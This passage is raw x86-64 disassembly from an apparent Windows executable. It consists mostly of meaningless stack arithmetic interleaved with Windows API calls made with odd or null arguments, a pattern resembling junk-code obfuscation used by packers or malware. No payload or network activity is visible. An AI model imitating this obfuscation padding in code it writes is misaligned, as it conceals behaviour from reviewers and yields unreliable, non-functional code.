mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c58], eax
movzx eax, byte [rsp + 0x62f]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x2b38]
sub eax, ecx
mov word [0x1402826a0], ax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x13fa0], rax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [0x140282690]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
jmp 0x140017efa
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13f70]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x84a4]
movzx edx, byte [rsp + 0x62f]
movzx ecx, word [rsp + 0x2b34]
call fcn.140208d50
cmp dword [rsp + 0xa23c], 0xfd6f
ja 0x14001823b
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x7d08]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2a8], eax
mov eax, dword [rsp + 0x7d08]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x13fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fa8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [0x1402826a0]
sar eax, cl
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x62f], al
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x6c58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282690], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x630], al
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b34]
and eax, ecx
mov word [rsp + 0x2b24], ax
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x175a
mov r8d, 0x3500
mov edx, 0xde
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [0x14028eec8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [0x14028eec4]
mov ecx, dword [rsp + 0x6c58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [0x140282690], eax
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa2b4], eax
movzx eax, byte [rsp + 0x631]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov byte [rsp + 0x285], al
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [rsp + 0x2b30]
shl eax, cl
mov word [rsp + 0x2b38], ax
mov eax, dword [rsp + 0xa23c]
add eax, 0xac
mov dword [rsp + 0xa23c], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e48]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov dword [rsp + 0x24470], 0x114
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa2cc]
sar eax, cl
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0xa278]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x62e]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281da7], al
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x2b34]
sub eax, ecx
mov word [rsp + 0x1948], ax
jmp 0x140017efa
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b24]
add eax, ecx
movsx ecx, word [rsp + 0x2b34]
movsx edx, word [rsp + 0x1948]
sub ecx, edx
cmp eax, ecx
jg 0x14020878c
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa2e0], eax
movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x631]
add eax, ecx
mov byte [rsp + 0x2d7], al
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x13fb0], rax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa2e4], eax
mov eax, dword [rsp + 0xa2bc]
movzx ecx, al
mov eax, dword [rsp + 0xa2cc]
shl eax, cl
mov dword [rsp + 0xa264], eax
movsx eax, word [0x140282694]
mov dword [rsp + 0xa2e8], eax
cmp dword [rsp + 0xa2e8], 0x6bb
je 0x1400182e9
jmp 0x14001833c
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [0x14028269c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e4], eax
jmp 0x1402086f8
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0x632], al
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
sub eax, ecx
mov byte [0x140281daa], al
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b2c]
sub eax, ecx
mov word [rsp + 0x2b34], ax
mov dword [rsp + 0xa2ec], 0x7416
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa2f0], eax
cmp dword [rsp + 0xa2f0], 0x7844
je 0x140018439
cmp dword [rsp + 0xa2f0], 0xbfef
je 0x1400183f5
jmp 0x140018466
mov rax, qword [rsp + 0x13fa0]
movzx ecx, word [rax]
call fcn.140208bb0
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [0x1402826a0]
sub eax, ecx
mov word [rsp + 0x1840], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov byte [rsp + 0x2d7], al
jmp 0x140018466
mov eax, dword [rsp + 0xa24c]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x13fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa2e4], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov dword [rsp + 0xa2f8], eax
cmp dword [rsp + 0xa2f8], 0
je 0x1400184b2
cmp dword [rsp + 0xa2f8], 0x798
je 0x140018519
jmp 0x140018594
movzx eax, byte [rsp + 0x4f2]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x62f], al
movzx eax, word [rsp + 0x2b48]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2134], ax
mov eax, dword [0x14028269c]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x13fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x84a4], eax
jmp 0x140018594
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282690], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa250]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov r8, qword [rsp + 0x13fc8]
mov rdx, qword [rsp + 0x13fd0]
mov rcx, qword [rsp + 0x13fd8]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x13fe0], rax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x632]
sub eax, ecx
movsx ecx, byte [rsp + 0x630]
mov rdx, qword [rsp + 0x13ea8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1402086ac
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x631]
add eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0xa2fc], al
cmp byte [rsp + 0xa2fc], 0
je 0x140018603
jmp 0x14020850e
mov eax, dword [rsp + 0x84a4]
mov dword [rsp + 0xa300], eax
cmp dword [rsp + 0xa300], 0xbc97
je 0x140018620
jmp 0x14001863c
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
jmp 0x14001867f
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa304], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0xa308], al
cmp byte [rsp + 0xa308], 0xa4
je 0x1400186a0
jmp 0x14001873c
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
lea rdx, [rsp + 0x298d0]
mov ecx, 0x86
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0xa2d8], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282690], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa304], eax
mov r9d, dword [rsp + 0xa250]
mov rax, qword [rsp + 0x13f70]
mov r8d, dword [rax]
movzx edx, byte [rsp + 0x4f2]
movzx ecx, word [rsp + 0x1948]
call fcn.140208d50
jmp 0x1402084e9
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b40], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62f]
sar eax, cl
mov byte [rsp + 0x5e9], al
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b2c]
or eax, ecx
mov word [rsp + 0x2b24], ax
movzx eax, byte [rsp + 0x62e]
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [0x14028269c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x84a4], eax
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b24]
shl eax, cl
movsx ecx, word [rsp + 0x2b34]
movsx edx, word [0x140282694]
sub ecx, edx
cmp eax, ecx
je 0x1400188af
movzx eax, byte [rsp + 0x2d7]
mov byte [rsp + 0xa30c], al
cmp byte [rsp + 0xa30c], 0x73
je 0x140018890
cmp byte [rsp + 0xa30c], 0xac
je 0x140018829
jmp 0x1400188ad
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa238], eax
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x2b28]
add eax, ecx
mov word [0x140282698], ax
call fcn.140208c60
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f2], al
lea rcx, [rsp + 0xa24c]
call qword [sym.imp.SHELL32.dll_ILFree]
jmp 0x1400188ad
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
jmp 0x140018927
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0x2b48]
mov rdx, qword [rsp + 0x13fa0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140018927
movzx ecx, byte [0x140281da7]
call fcn.140208b40
mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c58], eax
movzx r8d, word [rsp + 0x1948]
mov rax, qword [rsp + 0x13e78]
mov edx, dword [rax]
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rax]
call fcn.140208d00
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov edx, dword [rsp + 0xa238]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x14020839b
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa310], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
sub eax, ecx
mov byte [rsp + 0x62e], al
movsx eax, word [rsp + 0x1948]
movsx ecx, word [0x140282694]
sub eax, ecx
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b48]
sub eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x62f]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x6c58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [0x14028eec4]
mov rcx, qword [rsp + 0x13f70]
mov qword [rsp + 0x13fe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13fe8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14028269c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
movzx eax, word [rsp + 0x2b48]
movzx ecx, word [rsp + 0x2134]
xor eax, ecx
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x633]
shl eax, cl
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa310]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9e40], eax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [0x140282690]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa304], eax
mov eax, dword [rsp + 0x9e20]
mov ecx, dword [rsp + 0xa2e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x5e9]
and eax, ecx
mov byte [rsp + 0x62f], al
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [rsp + 0x1840]
add eax, ecx
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x6c58]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028269c], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2bc], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x630], al
movzx eax, byte [0x14028eec1]
movzx ecx, byte [rsp + 0x5e9]
sub eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b48], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e40], eax
mov eax, dword [rsp + 0xa304]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13ff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ff8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa264]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa304], eax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [0x14028269c], eax
mov eax, dword [rsp + 0xa2c4]
add eax, 0x8d
mov dword [rsp + 0xa2c4], eax
mov eax, dword [rsp + 0xa2e0]
mov ecx, dword [0x14028eec8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62f], al
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x2b28]
add eax, ecx
mov word [rsp + 0x2b40], ax
mov eax, dword [rsp + 0x8e48]
mov ecx, dword [rsp + 0xa2cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa304], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
cmp dword [rsp + 0xa2c4], 0x1156a
jbe 0x140018972
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
sub eax, ecx
movsx ecx, byte [rsp + 0x632]
movsx edx, byte [0x140281da7]
add ecx, edx
cmp eax, ecx
jle 0x140018de2
mov rax, qword [rsp + 0x13e98]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x62f]
call fcn.140208c00
lea r8, [rsp + 0x2134]
mov rdx, qword [rsp + 0x13ed0]
mov rcx, qword [rsp + 0x14000]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x14008], rax
movsx eax, byte [rsp + 0x634]
movsx ecx, byte [0x140281da7]
add eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x1948]
sub eax, ecx
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa310]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x13e88]
movzx ecx, byte [rax]
call fcn.140208b40
jmp 0x140208346
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x631]
sub eax, ecx
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov dword [rsp + 0xa314], eax
cmp dword [rsp + 0xa314], 0
je 0x140018e4e
cmp dword [rsp + 0xa314], 0x1c2
je 0x140018e29
jmp 0x140018f01
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b28], ax
jmp 0x140018f01
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa318], eax
cmp dword [rsp + 0xa318], 0
je 0x140018e94
cmp dword [rsp + 0xa318], 0x6091
je 0x140018ee5
jmp 0x140018f01
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov edx, dword [rsp + 0xa2e0]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x140018ee3
call fcn.140208c60
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa2e0], eax
jmp 0x140018f01
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e20]
shl eax, cl
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x9e40]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d94], eax
movzx eax, byte [rsp + 0x2d7]
mov byte [rsp + 0xa31c], al
cmp byte [rsp + 0xa31c], 0
je 0x140018fc9
cmp byte [rsp + 0xa31c], 0x8b
je 0x140018f47
jmp 0x140019026
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
sub eax, ecx
mov byte [rsp + 0x5e9], al
movzx eax, word [rsp + 0x2b40]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b48], ax
lea r9, [rsp + 0x631]
lea r8, [rsp + 0x14000]
mov edx, 0x3e
mov rcx, qword [rsp + 0x14010]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0xa2d8], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2e0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
jmp 0x140019026
mov eax, dword [0x14028eec4]
mov dword [rsp + 0xa320], eax
cmp dword [rsp + 0xa320], 0x660
je 0x140018fe5
jmp 0x140019006
movzx r8d, word [rsp + 0x2b24]
mov edx, dword [rsp + 0xa304]
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rax]
call fcn.140208d00
jmp 0x140019026
lea rax, [rsp + 0xa264]
mov qword [rsp + 0x14018], rax
lea rax, [rsp + 0x9d94]
mov qword [rsp + 0x14020], rax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b2c]
sub eax, ecx
mov word [0x140282694], ax
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [rsp + 0x634]
and eax, ecx
mov byte [rsp + 0x62e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
movzx eax, byte [rsp + 0x631]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov rcx, qword [rsp + 0x13f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b28], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x9d94]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa24c], eax
mov eax, dword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x14028], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14028]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa2f4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4937
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa26c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [0x1402826a0]
or eax, ecx
mov word [rsp + 0x2b48], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
sub eax, ecx
mov byte [rsp + 0x633], al
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa250]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa304], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
add eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
sub eax, ecx
